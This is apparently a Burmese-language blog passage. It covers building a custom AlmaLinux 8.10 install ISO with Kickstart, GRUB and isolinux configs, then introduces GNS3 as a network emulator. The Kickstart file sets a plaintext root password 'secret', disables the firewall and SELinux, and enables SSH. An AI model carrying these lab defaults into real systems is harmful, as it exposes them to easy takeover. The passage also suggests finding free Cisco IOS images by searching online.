Download ဆွဲလို့ပြီးတာနဲ့ လိုအပ်တဲ့ directory တွေကိုအောက်မှာပြထားတဲ့အတိုင်းအရင်ပြင်ဆင်ရပါ့မယ်။ ပြီးတာနဲ့ ISO ကို loop device အနေနဲ့ mount လုပ်လိုက်ပြီး DVD ISO ထဲက file တွေ folder တွေအကုန်လုံးကို အောက်မှပြထားသလို extract လုပ်ရယူလိုက်ပါ။ `shopt -s dotglob` ဆိုတဲ့ shell command ကိုအရင် run ပြီးတော့မှ copy လုပ်ပါ။ အဲ့ဒီ command က `.` နဲ့စတဲ့ hidden file တွေကိုပါထည့်သွင်းကူးယူချင်လို့ဖြစ်ပါတယ်။ အကယ်လို့ ဒီအဆင့်ကိုကျော်သွားတယ် ဆိုရင်တော့ custom ISO ဟာ boot လုပ်တဲ့အခါ လိုအပ်တဲ့ source file တွေကိုမတွေ့တာကြောင့် installation ဆက်လုပ်လို့မရတာဖြစ်ပါလိမ့်မယ်။

```bash
mkdir origin-iso
mkdir custom-iso
sudo mount -o loop ./AlmaLinux-8.10-x86_64-dvd.iso ./origin-iso
shopt -s dotglob
sudo cp -avRf ./origin-iso/* ./custom-iso/
sudo chown -R tyla:tyla ./custom-iso
```

### Kickstart configuration

Custom ISO ဖြစ်ဖို့အတွက် အရေးကြီးတဲ့ Kickstart configuration ကိုအောက်ဖော်ပြပါ အတိုင်းလက်ရှိ ကိုယ်အလုပ်လုပ်မယ့် directory ထဲမှာဖန်တီးလိုက်ရအောင်။

```kickstart
#version=ALMALINUX8
# Use text mode for installation
text

# System language and keyboard layout
lang en_US
keyboard us

# Timezone and clock setup
timezone Australia/Melbourne --utc

# Root password (use hashed password for better security)
rootpw --plaintext secret

# Reboot after installation
reboot

# Installation source
cdrom

# Bootloader configuration
bootloader --location=mbr --append="rhgb quiet crashkernel=auto biosdevname=0 net.ifnames=0"

# Clear all partitions and initialize new ones (using LVM)
zerombr
clearpart --all --initlabel
autopart --type=lvm

# System authentication and authorization
authselect select sssd with-sha512 --force

# Network configuration (adjust as needed)
network --bootproto=dhcp --device=eth0 --onboot=yes --hostname=iso.lab

# Disable first boot wizard
firstboot --disable

# Disable firewall and SELinux (optional)
firewall --disabled
selinux --disabled

# Enable essential services
services --enabled="sshd,NetworkManager"

# Package selection (with virtualization environment support)
%packages
@^virtualization-host-environment
kexec-tools
virt-install
virt-viewer
virt-manager
tmux
vim
createrepo
genisoimage
isomd5sum
syslinux
-rhgb
-firewalld
%end

# Post-installation tasks
%post
# Enable and start the libvirtd service for virtualization
systemctl enable --now libvirtd
%end
```

အထက်မှာမြင်ရသလိုမျိုး Kickstart file မှာ ကိုယ်လိုချင်တဲ့ parameter တွေကိုသတ်မှတ်ပေးလိုက်ပါ။ ရိုးရှင်းတဲ့ configuration တွေကိုအသုံးပြုထားတာဖြစ်တာမို့ အသေးစိတ်မရှင်းလိုတော့ပါ။ အကျဉ်းချုပ်အားဖြင့် QEMU/KVM ကိုသုံးပြီး hypervisor နဲ့ အခြားသောလိုအပ်တဲ့ package တွေကို Kickstart နဲ့ install ကြိုလုပ်ထားတာပါ။ Installation ပြီးတာနဲ့ဘာမှလုပ်စရာမလိုပဲ hypervisor အနေနဲ့ စတင်သုံးလို့ရအောင် ပြင်ဆင်ပုံပဲဖြစ်ပါတယ်။

### GRUB menu နဲ့ isolinux configuration

ဒီအဆင့်မှာ GRUB bootloader မှာ boot menu ကိုဘယ်လိုမျိုးပေါ်စေချင်သလဲဆိုတာကိုပြင်ဆင်ပေးရမှာဖြစ်ပါတယ်။ ဒီ configuration file တွေကို အစကနေပြီး ဖန်တီးစရာမလိုပဲနဲ့ `./custom-iso/EFI/BOOT/grub.cfg` နဲ့ `./custom-iso/isolinux/isolinux.cfg` ကနေကူးယူပြီး ကိုယ့်ရဲ့ custom entry ကိုထပ်ပေါင်းထည့်ပေးလိုက်ရုံပါပဲ။ အဲ့ဒီ configuration file နှစ်ခုကို အောက်မှဖော်ပြထားတဲ့အတိုင်းပြင်ဆင်လိုက်ပါ။

```grub.cfg
set default="1"

function load_video {
  insmod efi_gop
  insmod efi_uga
  insmod video_bochs
  insmod video_cirrus
  insmod all_video
}

load_video
set gfxpayload=keep
insmod gzio
insmod part_gpt
insmod ext2

set timeout=60
### END /etc/grub.d/00_header ###

search --no-floppy --set=root -l 'AlmaLinux-8-10-x86_64-dvd'

### BEGIN /etc/grub.d/10_linux ###
menuentry 'Custom Install AlmaLinux 8.10' --class fedora --class gnu-linux --class gnu --class os {
    linuxefi /images/pxeboot/vmlinuz inst.stage2=hd:LABEL=AlmaLinux-8-10-x86_64-dvd inst.ks=hd:LABEL=AlmaLinux-8-10-x86_64-dvd:/ks.cfg
    initrdefi /images/pxeboot/initrd.img
}
menuentry 'Install AlmaLinux 8.10' --class fedora --class gnu-linux --class gnu --class os {
	linuxefi /images/pxeboot/vmlinuz inst.stage2=hd:LABEL=AlmaLinux-8-10-x86_64-dvd quiet
	initrdefi /images/pxeboot/initrd.img
}
menuentry 'Test this media & install AlmaLinux 8.10' --class fedora --class gnu-linux --class gnu --class os {
	linuxefi /images/pxeboot/vmlinuz inst.stage2=hd:LABEL=AlmaLinux-8-10-x86_64-dvd rd.live.check quiet
	initrdefi /images/pxeboot/initrd.img
}
submenu 'Troubleshooting -->' {
	menuentry 'Install AlmaLinux 8.10 in basic graphics mode' --class fedora --class gnu-linux --class gnu --class os {
		linuxefi /images/pxeboot/vmlinuz inst.stage2=hd:LABEL=AlmaLinux-8-10-x86_64-dvd nomodeset quiet
		initrdefi /images/pxeboot/initrd.img
	}
	menuentry 'Rescue a AlmaLinux system' --class fedora --class gnu-linux --class gnu --class os {
		linuxefi /images/pxeboot/vmlinuz inst.stage2=hd:LABEL=AlmaLinux-8-10-x86_64-dvd inst.rescue quiet
		initrdefi /images/pxeboot/initrd.img
	}
}
```

ဒီ grub.cfg မှာထပ်ထည့်ပေါင်းတာဆိုလို အောက်မှာပြထားတဲ့အပိုင်းတခုပဲရှိပါတယ်။ ကျန်တာတွေအားလုံးဟာ သူ့မူရှင်း file ထဲမှာပါတဲ့ content အတိုင်းပဲဖြစ်ပါတယ်။

```
menuentry 'Custom Install AlmaLinux 8.10' --class fedora --class gnu-linux --class gnu --class os {
    linuxefi /images/pxeboot/vmlinuz inst.stage2=hd:LABEL=AlmaLinux-8-10-x86_64-dvd inst.ks=hd:LABEL=AlmaLinux-8-10-x86_64-dvd:/ks.cfg
    initrdefi /images/pxeboot/initrd.img
}
```

isolinux.cfg ကိုဒီတခါကြည့်လိုက်ရအောင်။

```isolinux.cfg
default vesamenu.c32
timeout 600

display boot.msg

# Clear the screen when exiting the menu, instead of leaving the menu displayed.
# For vesamenu, this means the graphical background is still displayed without
# the menu itself for as long as the screen remains in graphics mode.
menu clear
menu background splash.png
menu title AlmaLinux 8.10
menu vshift 8
menu rows 18
menu margin 8
#menu hidden
menu helpmsgrow 15
menu tabmsgrow 13

# Border Area
menu color border * #00000000 #00000000 none

# Selected item
menu color sel 0 #ffffffff #00000000 none

# Title bar
menu color title 0 #ff7ba3d0 #00000000 none

# Press [Tab] message
menu color tabmsg 0 #ff3a6496 #00000000 none

# Unselected menu item
menu color unsel 0 #84b8ffff #00000000 none

# Selected hotkey
menu color hotsel 0 #84b8ffff #00000000 none

# Unselected hotkey
menu color hotkey 0 #ffffffff #00000000 none

# Help text
menu color help 0 #ffffffff #00000000 none

# A scrollbar of some type? Not sure.
menu color scrollbar 0 #ffffffff #ff355594 none

# Timeout msg
menu color timeout 0 #ffffffff #00000000 none
menu color timeout_msg 0 #ffffffff #00000000 none

# Command prompt text
menu color cmdmark 0 #84b8ffff #00000000 none
menu color cmdline 0 #ffffffff #00000000 none

# Do not display the actual menu unless the user presses a key. All that is displayed is a timeout message.

menu tabmsg Press Tab for full configuration options on menu items.

menu separator # insert an empty line
menu separator # insert an empty line

label custom
  menu label ^Custom Kickstart Installation of AlmaLinux 8.10
  menu default
  kernel vmlinuz
  append initrd=initrd.img biosdevname=0 net.ifnames=0 inst.stage2=hd:LABEL=AlmaLinux-8-10-x86_64-dvd inst.ks=hd:LABEL=AlmaLinux-8-10-x86_64-dvd:/ks.cfg

label linux
  menu label ^Install AlmaLinux 8.10
  kernel vmlinuz
  append initrd=initrd.img inst.stage2=hd:LABEL=AlmaLinux-8-10-x86_64-dvd quiet

label check
  menu label Test this ^media & install AlmaLinux 8.10
  kernel vmlinuz
  append initrd=initrd.img inst.stage2=hd:LABEL=AlmaLinux-8-10-x86_64-dvd rd.live.check quiet

menu separator # insert an empty line

# utilities submenu
menu begin ^Troubleshooting
  menu title Troubleshooting

label vesa
  menu indent count 5
  menu label Install AlmaLinux 8.10 in ^basic graphics mode
  text help
	Try this option out if you're having trouble installing
	AlmaLinux 8.10.
  endtext
  kernel vmlinuz
  append initrd=initrd.img inst.stage2=hd:LABEL=AlmaLinux-8-10-x86_64-dvd nomodeset quiet

label rescue
  menu indent count 5
  menu label ^Rescue a AlmaLinux system
  text help
	If the system will not boot, this lets you access files
	and edit config files to try to get it booting again.
  endtext
  kernel vmlinuz
  append initrd=initrd.img inst.stage2=hd:LABEL=AlmaLinux-8-10-x86_64-dvd inst.rescue quiet

label memtest
  menu label Run a ^memory test
  text help
	If your system is having issues, a problem with your
	system's memory may be the cause. Use this utility to
	see if the memory is working correctly.
  endtext
  kernel memtest

menu separator # insert an empty line

label local
  menu label Boot from ^local drive
  localboot 0xffff

menu separator # insert an empty line
menu separator # insert an empty line

label returntomain
  menu label Return to ^main menu
  menu exit

menu end
```

ဒီတခါလည်း အကုန်လုံးနီးပါး နဂိုအတိုင်းဖြစ်ပြီး အောက်မှာပြထားတဲ့အပိုင်းတခုပဲပိုလာတာ တခုရယ်၊ `label check` အပိုင်းအောက်မှာ `menu default` ဆိုတဲ့ line ကိုဖျက်ပေးလိုက်ပါ။ အဲ့ဒါကို `label custom` အောက်မှာထည့်ပေးခြင်းဖြင့် boot menu မှာ ကိုယ့်ရဲ့ custom option ကို default အနေနဲ့ ရွေးထားပြီးသားဖြစ်နေပါလိမ့်မယ်။ ဒါ့ကြောင့် boot တက်တဲ့အခါမှာ menu option တခုကနေ နောက်တခုကိုထပ်ပြောင်းပေးစရာမလိုတော့ပါဘူး။

```
label custom
  menu label ^Custom Kickstart Installation of AlmaLinux 8.10
  menu default
  kernel vmlinuz
  append initrd=initrd.img biosdevname=0 net.ifnames=0 inst.stage2=hd:LABEL=AlmaLinux-8-10-x86_64-dvd inst.ks=hd:LABEL=AlmaLinux-8-10-x86_64-dvd:/ks.cfg
```

### Custom ISO တခုဖန်တီးခြင်း

အားလုံးပြီးရင် နောက်ဆုံးအဆင့်မှာတော့ custom ISO ဖန်တီးဖို့သာကျန်ပါတယ်။ ဘယ်လိုမျိုး ပေါင်းစပ်ပြီး ဖန်တီးသလဲဆိုတာအောက်မှာ ကြည့်လိုက်ရအောင်။

```bash
# copy previously prepared kickstart, grub and isolinux config files into its relevant directories as below
cp ./ks.cfg ./custom-iso/
sudo cp -f ./grub.cfg ./custom-iso/EFI/BOOT/grub.cfg
sudo cp -f ./isolinux.cfg ./custom-iso/isolinux/isolinux.cfg

# create iso file based on the ./custom-iso directory with other required parameters
sudo mkisofs -o ./custom.iso -b isolinux/isolinux.bin -J -R -l -c isolinux/boot.cat -no-emul-boot -boot-load-size 4 -boot-info-table -eltorito-alt-boot -e images/efiboot.img -no-emul-boot -graft-points -V "AlmaLinux-8-10-x86_64-dvd" -joliet-long ./custom-iso

# change ownership of the output iso 
sudo chown tyla:tyla ./custom.iso

# modify a bootable ISO image to make it compatible with both legacy BIOS and UEFI (Unified Extensible Firmware Interface) systems
isohybrid --uefi ./custom.iso

# embed a checksum (specifically, an MD5 checksum) into an ISO image, allowing verification of the integrity of the ISO during boot
implantisomd5 ./custom.iso
```

ရရှိလာတဲ့ custom.iso ကို VM တခုနဲ့ အရင်ဆုံး boot တက်ကြည့်လိုက်ပါ။ အားလုံးအဆင်ပြေရင် USB drive နဲ့ bootable disk လုပ်ပြီး ကိုယ်သုံးချင်တဲ့ စက်ပေါ်မှာတင်အသုံးပြုနိုင်ပါပြီ။


# အဘယ့်ကြောင့် GNS3

GNS3 ဟာ အခုချိန်မှာတော့ လူသိလည်းတော်တော်များလာပါပြီ။ ဒီ GNS3 အကြောင်းကို ရေးဖို့ စိတ်ကူးမိတာတော့ နည်းနည်းကြာပါပြီ။ စာရေးသူ စိတ်ထဲမှာ လူတော်တော်များများ သုံးနေကြတယ်၊ သိနေကြပြီးသားဆိုတော့ ဒီစာရေးဖို့က တွန့်ဆုတ်ရ ပြန်ပါတယ်။ ကိုယ်ကိုတိုင်ကလည်း ခပ်ဝေးဝေး တခါလောက်သာ အသုံးပြုဖြစ်လို့ အလုံးစုံ မသိနိုင်သေးလို့ ချက်ချင်းစာစရေးမှာကိုလည်း သိပ်ပြီးတော့ စိတ်ဘဝင် မကျလှပါဘူး။ အဲ့ဒါကြောင့် အချိန် နည်းနည်း ထက်ယူ ပြီးတော့ နည်းနည်းလေးပိုသိအောင်လို့ ကိုယ်ကိုတိုင်လေ့လာ ရပါတော့တယ်။ စာရေးသူ ကိုယ်တိုင်လည်း အခြား မိတ်ဆွေတစ်ယောက်က ပြောပြလို့ GNS3 ဆိုတာကို စပြီးသိခဲ့ရတာပါ။ လွန်ခဲ့တဲ့ ၆နှစ် ၇နှစ်လောက်က နည်းပညာ နယ်ပယ်ထဲမှာ storage admin မိတ်ဆွေတစ်ယောက်နဲ့ ထိုင်ရင်း စကားပြောဖြစ်တော့ စာရေးသူ စာအုပ်စင်ပေါ်က Cisco နဲ့ ပတ်သတ်တဲ့ စာအုပ်တွေကိုတွေ့တာနဲ့ စာရေးသူကို Cisco နဲ့ ပတ်သတ်တာတွေကို လေ့လာနေသလား၊ ဘယ်လိုမျိုး လေ့လာသလဲ၊ ဘယ်လို lab environment တွေကိုသုံးပြီးတော့ လေ့ကျင့်သလဲဆိုတာနဲ့ ပတ်သတ်ပြီးတော့ စကားစပ်မိပါတယ်။ စာရေးသူလည်း အဲ့ဒီစာအုပ်တွေဟာ ကောလိပ်မှာတုန်းက networking course မှာသုံးတဲ့ စာအုပ်တွေဖြစ်တယ်ဆိုတဲ့ အကြောင်း၊ ကျောင်းမှာတုန်းကတော့ course မှာပါလို့ လေ့လာနိုင်သလောက်ပဲ လေ့လာဖြစ်တယ်ဆိုတဲ့ အကြောင်း၊ lab ကိုတော့ Cisco Packet Tracer သုံးဖြစ်တယ်ဆိုတဲ့ အကြောင်းကို စကားပြန်လိုက်တော့… စာရေးသူရဲ့ မိတ်ဆွေက GNS3 ဆိုတာကို မသုံးဘူးလားတဲ့။ အဲ့ဒီအချိန်တုန်းက စာရေးသူ GNS3 ကို တခါမှ မသုံးဘူးသလို၊ ဘာမှန်း ဆိုတာလည်း မသိခဲ့ပါဘူး။ စာရေးသူ မိတ်ဆွေ ပြောပြမှ ရှာရင်း ဖွေရင်းနဲ့ GNS3 အကြောင်းကို တော်တော်လေး သိလာရပါတယ်။ နောက်ပိုင်းမှာ Packet Tracer မသုံးဖြစ်အောင်လို့ကို သတိထားပြီးတော့ GNS3 နဲ့ networking lab တွေကို ကိုယ်တိုင်ကိုယ်ကျ အသုံးပြုပြီးတော့ လေ့လာခဲ့ဖြင့် အခုဆို တော်တော်လေး ထဲထဲဝင်ဝင်ရှိလာပြီလို့ ဆိုရမှာပါ။ စားရေးသူ စပြီး အသုံးပြုတဲ့ အချိန်ကနေ GNS3 ဟာဖြင့် တိုးတက် လိုက်တာ အခုဆို GNS3 မှာ networking နဲ့ ပတ်သတ်လို့ လုပ်လို့ မရတာ ဘာမှာ မရှိသလောက်ကိုပါပဲ။ အခုနောက်ပိုင်းထွက်တဲ့ version မှာဆိုရင် Docker လို lightweight container technology ကိုထည့်သွင်း အသုံးပြုနိုင်လို ကိစ္စတော်တော်များများဟာ GNS3 ပေါ်မှာ စမ်းသပ် စူးစမ်းလို့ ရလာပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-8f6b650a750043713a0a653098b8e8d4cb2ec688%2FGNS3-About.png?alt=media" alt=""><figcaption></figcaption></figure>

ဒီ post မှာတော့ tutorial ပုံစံမျိုး မဖြစ်အောင်လို့ စာရေးသူ သတိထားပြီးတော့ ရေးသွားပါ့မယ်။ Tutorial နဲ့ ပတ်သတ်ပြီးတော့ လေ့လာချင်ရင်တော့ တခြားလူတွေ တော်တော်များများ YouTube ပေါ်မှာ ရှင်းပြထားတာတွေ ရှိပါတယ်။ စာရေးသူ ရဲ့ အဓိက ရည်ရွယ်ချက်က GNS3 ဆိုတာ မသိသေးရင် သိလာအောင်ရယ်၊ နည်းနည်းပါးပါး သိထားတယ် ထဲထဲဝင်ဝင် မသုံးဘူးလို့ GNS3 ဆိုတာကြီးကို ဃဂနဏ မသိသေးဘူး ဆိုတဲ့သူတွေ စိတ်ပါဝင်စားပြီး ပိုသုံးဖြစ်လာအောင်ရယ် ဆိုပြီး ရေးဖြစ်တာပါ။ ကိုယ်ကသိလည်းသိတယ် လက်ရှိမှာ သုံးလည်းသုံးနေတယ် ဆိုရင်ဖြင့် ဒီ post ကို ဗဟုသုတ အပျင်းပြေဖတ်ချင်တယ် ဆိုရင် ဖြင့်လည်း စာဖတ်သူ အနေနဲ့ အရှုံးမရှိနိုင်ပါဘူး။ စာရေးသူလည်း သိသလောက် လေ့လာထားသလောက်နဲ့ ကြိုးစားပြီးတော့ ရေးပါ့မယ်။ အထူးသဖြင့် tutorial တွေမှာလိုမျိုး အဆင့်ဆင့်ရှင်းပြတဲ့ ပုံစံမျိုး မဖြစ်အောင်လို့ သတိထားသွားပါ့မယ်။

### GNS3 ဆိုသည်မှာ

GNS3 ကို ၂၀၀၈ ခုနှစ်မှာ ပထမဆုံး release စထွက်ပါတယ်။ GNS3 ရဲ့ အရှည်ကတော့ Graphical Network Simulator 3 ဖြစ်ပါတယ်။ နာမည်ထဲမှာ Simulator ရယ်လို့ ပါသော်လည်း GNS3 ဟာ တကယ်တန်းမှာ Network Emulator တစ်ခုပါ။ Simulate ဆိုတာ အင်္ဂလိပ် လိုမှာတော့ ပုံစံတူဖြစ်အောင် အတုယူ လိုက်လုပ်ထားတယ်လို့ အဓိပ္ပာယ်ရပါတယ်။ တဘက်မှာတော့ Emulate ဆိုတာကတော့ Simulate ဆိုတာနဲ့ ခပ်ဆင်ဆင်ရှိပေမယ့်… Computing term မှာ သဘောသဘာဝ တော်တော်လေးကွာပါတယ်။ Computing မှာ Emulate လို့ပြောရင်တော့ တပုံစံတည်း ဖြစ်အောင်လို့ ပုံတူပွားယူ ထားတာလို့ အဓိပ္ပာယ် မျိုးရပါတယ်။ ဥပမာအားဖြင့် Cisco Packet Tracer ဟာဆိုရင်ဖြင့် Network Simulator ဖြစ်ပြီးတော့၊ GNS3 ဟာ Network Emulator တစ်ခုဖြစ်ပါတယ်။ တနည်းအားဖြင့် Cisco Packet Tracer ဟာ အတုဖြစ်ပြီးတော့၊ GNS3 ကတော့ အစစ်ပုံစံကိုပွားယူထားတယ်လို့ ဆိုရမှာပါ။ အနည်းငယ် နောက်တဆင့် တက်ပြီးတော့ ရှင်းရမယ်ဆိုရင် Cisco Packet Tracer ဟာ ActionScript programming language ဖြစ်တဲ့ Adobe Flash လိုဟာတွေနဲ့ ရေးထားတာဖြစ်ပြီးတော့၊ ဘယ်လို object ကို canvas ဆွဲထည့်လိုက်ရင် ဘယ်လိုမျိုးပုံစံနဲ့ animation လုပ်ရမယ်ဆိုတဲ့ instruction တွေဟာ ကြိုတင် program ထဲမှာ ထည့်ပြီးသား ဖြစ်ပါတယ်။ အဲ့ဒါကြောင့် Cisco commands အစစ် တော်တော်များများဟာ Cisco Packet Tracer မှာသုံးလို့ မရပါဘူး။ သူ့ program ထဲမှာထည့်ထားသလောက်ကိုပဲ အသုံးပြုလို့ရတဲ့ သဘောပါ။ Cisco IOS တွေမှာလည်း တခါတခါ version မတူလို့ ဒီ router/switch မှာ ရိုက်ထည့်လို့ ရပြီးတော့ နောက်တစ်ခုမှာ သုံးလို့ မရတဲ့ command တွေလည်းရှိပါတယ်။ Cisco Packet Tracer မှာကတော့ အဲ့ဒီ IOS version ကြောင့်မဟုတ်ပဲနဲ့ သူကိုယ်တိုင်ကိုက program မလုပ်ထားလို့ မသိတဲ့ command တွေတော်တော်များများရှိပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-d934408e45f146f60f3003533e1189d8936a42e2%2FCisco-Packet-Tracer-1024x455.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-ad6b4a0544199d99097ae3ca5a43f33ddce6ee82%2FGNS3-User-Interface_1.png?alt=media" alt=""><figcaption></figcaption></figure>

GNS3 ကတော့ Emulator ဆိုတဲ့အတိုင်း Cisco IOS တစ်ခုကို Cisco Router/Switch hardware ပေါ်မှာ တင်ပြီး run တဲ့ ပုံစံမျိုး ထက်တူညီမျှ lab experience ကိုပေးမှာဖြစ်ပါတယ်။ တစ်နည်းအားဖြင့် Cisco router/switch တစ်ခုကို ယူသုံးနိုင်ဖို့က Cisco IOS အစစ်တစ်ခုကို Cisco website ကနေ download လုပ်ပြီးတော့ GNS3 မှာအရင် တင်ပြီးကမှ စတင်အသုံးပြုနိုင်မှာဖြစ်ပါတယ်။ အဲ့ဒီတော့ Cisco IOS အပြင်မှာတကယ်သုံးတဲ့ software ကိုအသုံးပြုပြီး hardware ကို virtualization platform တစ်ခုခုပေါ်မှာ ဖြစ်ဖြစ်၊ hardware emulator ဖြစ်တဲ့ Dynamips လို platform တွေပေါ်မှာ တင်ပြီးတော့ အသုံးပြုတဲ့ အတွက် တကယ့် Cisco Router/Switch တွေပေါ်မှာ အလုပ်လုပ်နေရသလို ပုံစံမျိုးဖြစ်သွားပါတယ်။ ဆိုလိုရင်းက အဲ့ဒီကိုယ်တင်လိုက်တဲ့ IOS ကို သူနဲ့ compatible Cisco hardware တစ်ခုမှာတင်ပြီးတော့သုံးရင် ကိုယ်အသုံးပြုလို့ရတဲ့ command တွေတိုင်းကို GNS3 မှာ တင်သုံးရင်လည်း ထိုနည်းတူ အသုံးပြုလို့ ရနိုင်တယ်လို့ ဆိုချင်တာပါ။ သို့သော်လည်း GNS3 က Cisco hardware ကို Dynamips Emulator ပေါ်မှာတင်ပြီး သုံးတဲ့ အတွက် အနည်းနည်းအကျဉ်းတော့ buggy ဖြစ်ပါတယ်။ အခုအချိန်ထိလည်း bug တွေရှိနေသေးပေမယ့် ဟိုတုန်းကလောက်တော့ မဆိုးတော့ဘူးလို့ထင်ပါတယ်။ နောက်ထွက် မယ့် version တွေမှာ community က report လုပ်ထားတဲ့ bug တွေကိုလည်း နည်းနည်းချင်းစီ ရှင်းသွားမယ်လို့ မျှော်လင့်ပါတယ်။ နောက်ပြီးတော့ GNS3 ဟာ GNU GPL v3 license ကိုအသုံးပြုထားတဲ့အတွက် လွတ်လပ်စွာသုံးစွဲခွင့်ရှိပါတယ်။

### GNS3 တိုးတက်ပြောင်းလဲလာပုံ

အစပိုင်းမှာ GNS3 ဟာ Dynamips ကိုအဓိက အလေးပေးပြီးတော့ Cisco IOS ရဲ့ binary file တွေကို emulate လုပ်တဲ့ ပုံစံပါ။ နောက်ပြီးတော့ GNS3 ပေါ်မှာ တင်ပြီး run လို့ရတဲ့ IOS version နဲ့ series ကလည်း တော်တော်လေးလည်း နည်းပါသေးတယ်။ GNS3 Community ထဲမှာ ရှိတဲ့သူတွေ အချင်းချင်း ရှာကြဖွေကြရင်းနဲ့ ဘယ်ဟာတော့ဖြင့် အလုပ်လုပ်တယ် မလုပ်ဘူးဆိုတာကို Forum တွေမှာ share ထားတဲ့ ဟာလေးတွေကို ဖတ်ရင်းနဲ့ စမ်းတဝါးဝါး တစ်ခုပြီးတော့ တစ်ခုတင်ကြည့်လိုက် အဆင်မပြေရင် ပြန်ဖြုတ်လိုက်နဲ့ တော်တော်လေးလည်း ရွာလည် ခဲ့ရပါတယ်။ အခုနောက်ပိုင်းမှာတော့ appliance template လေးတွေသုံးပြီးတော့ အလွယ်တကူတင်နိုင်လာတာ GNS3 ကို အသုံးပြုတဲ့သူတိုင်း သိနိုင်ပါတယ်။ နောက်ပြီးတော့ GNS3 နဲ့ integrate လုပ်လို့ရတဲ့ virtualization platform ကလည်း ရွေးချယ်စရာတော်တော်လေးများ လာပါပြီ။

စာရေးသူအခုချိန်ထိပြောသွားတဲ့ အထဲမှာ Cisco IOS နဲ့ Cisco router/switch hardware platform တွေနဲ့ ပတ်သတ်ပြီးတော့ ပြောသွားတာကို သတိထားမိပါလိမ့်မယ်။ အကြောင်းကတော့ အရင်တုန်းက Cisco hardware တွေကို ကိုယ်ကအိမ်မှာ ဝယ်ပြီးတော့ home lab တစ်ခုတည်ဆောက်ဖို့က နေရာလည်း တော်တော်များများ ပေးရသလို၊ မီတာခ နဲ့ fan ကအသံဆူလို့ အိမ်ကလူတွေလည်း မခံနိုင်ပါဘူး။ Networking နဲ့ ပတ်သတ်လို့ စပြီးတော့ လေ့လာကြတယ် ဆိုရင်လည်း Cisco course တွေနဲ့ပဲ စကြရတာထုံးစံပါ။ အဲ့ဒီတော့ ကိုယ့်မှာ ရွေးစရာ လည်းများများစားစား မရှိလို့ GNS3 ရဲ့ Dynamips Emulator လေးကိုပဲ အားကိုးပြီးတော့ အကုန်အကျ နည်းနည်းနဲ့ home lab တွေကို တည်ဆောက်ရပါတယ်။ အဲ့ဒီတော့ ပြောစရာရှိတာက Cisco course တွေလေ့လာဖို့အတွက်နဲ့တော့ GNS3 ကိုအချိန်ကုန်ခံပြီးတော့ setup လုပ်မနေပါနဲ့ Cisco Packet Tracer နဲ့လည်း CCNA တို့ CCNP တို့ အောင်သွားတဲ့ လူတွေမှ တပုံကြီးရယ်ပါ။ နောက်ပြီးတော့ Cisco IOS တိုင်းလည်း တင်သုံးလို့ ရတာမဟုတ်တဲ့ အတွက်မတန်ပါဘူးပေါ့။ ပိုပြီးတော့ ဆိုးတာက GNS3 မှာ switching နဲ့ ပတ်သတ်ရင် ဘာမှ စမ်းသပ်လို့ မရဘူးလို့လည်း ကြားဖူးထားတော့ အလုပ်ရှုပ်ပါတယ်၊ GNS3 သုံးမယ့်အစား Cisco Packet Tracer နဲ့ပဲ အချိန်အကုန်ခံသက်သာအောင်လုပ်သင့်တယ်လို့လည်း အခုစာဖတ်သူတွေ မေးစရာရှိနိုင်ပါတယ်။ ဟုတ်ပါတယ်။ အဲ့ဒီဟာတွေဟာ တချိန်တုန်းက GNS3 ကို setup လုပ်ရမှာ ပျင်းတဲ့သူတွေအတွက် မေးစရာမေးခွန်တွေပါ။ အခုအချိန်မှာတော့ အဲ့ဒီလို ပြဿနာတွေမရှိတော့ပါဘူး။ ကိုယ် Google မှာ စွမ်းရင်စွမ်းသလောက် Free တင်ထားတဲ့ Cisco IOS တွေကိုရှာကြံပြီးတော့ download ဆွဲလို့ ရပါတယ်။ တရားဝင် နည်းလမ်းနဲ့ ကိုယ်က Cisco ဆီကနေပိုက်ဆံပေး ဝယ်မယ်ဆိုရင်လည်း Cisco VIRL PE လို subscription မျိုးမှာ vIOS တွေ download ဆွဲလို့ရပါတယ်။ Switching နဲ့ပတ်သတ်ပြီးတော့လည်း အလုံးစုံ ကို GNS3 ပေါ်မှာ အခုဆို စမ်းသပ်လို့ရနေပါပြီ။ Cisco Router/Switch hardware တွေကို ဝယ်ပြီးသုံးတာထက်စာရင်တော့ GNS3 ကအများကြီးသက်သာပါသေးတယ်။ GNS3 ကို download ဆွဲပြီးတော့ အသုံးပြုဖို့ကိုတော့ တပြားမှပေးစရာမလိုပါဘူး။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-a43320c0f8d4ad2387781a216d844e2e104f96c2%2FQemu-VM-templates-1.png?alt=media" alt=""><figcaption></figcaption></figure>

GNS3 အတွက် နေရာရစရာဖြစ်လာတာကတော့ multi vendor support ဖြစ်ပါတယ်။ Cisco အပြင် Juniper, HPE ProCurve, FortiGate, MikroTik, etc., တို့လို တခြားသော OS တွေကိုလည်း GNS3 ပေါ်မှာတင်ပြီးတော့ အသုံးပြုလို့ရပါတယ်။ ဒါအပြင် Linux container တွေ virtual machine တွေကို အသုံးပြုပြီးတော့ အခြားစမ်းချင်သပ်ချင်တာတွေကိုလည်း စမ်းသပ်လို့ရပါတယ်။ ထိုထိုသော အကြောင်းအရာတွေကြောင့် GNS3 ကတခြား network emulator တွေထက်ပိုပြီးတော့ လူသုံးများတယ်လို့ထင်ပါတယ်။

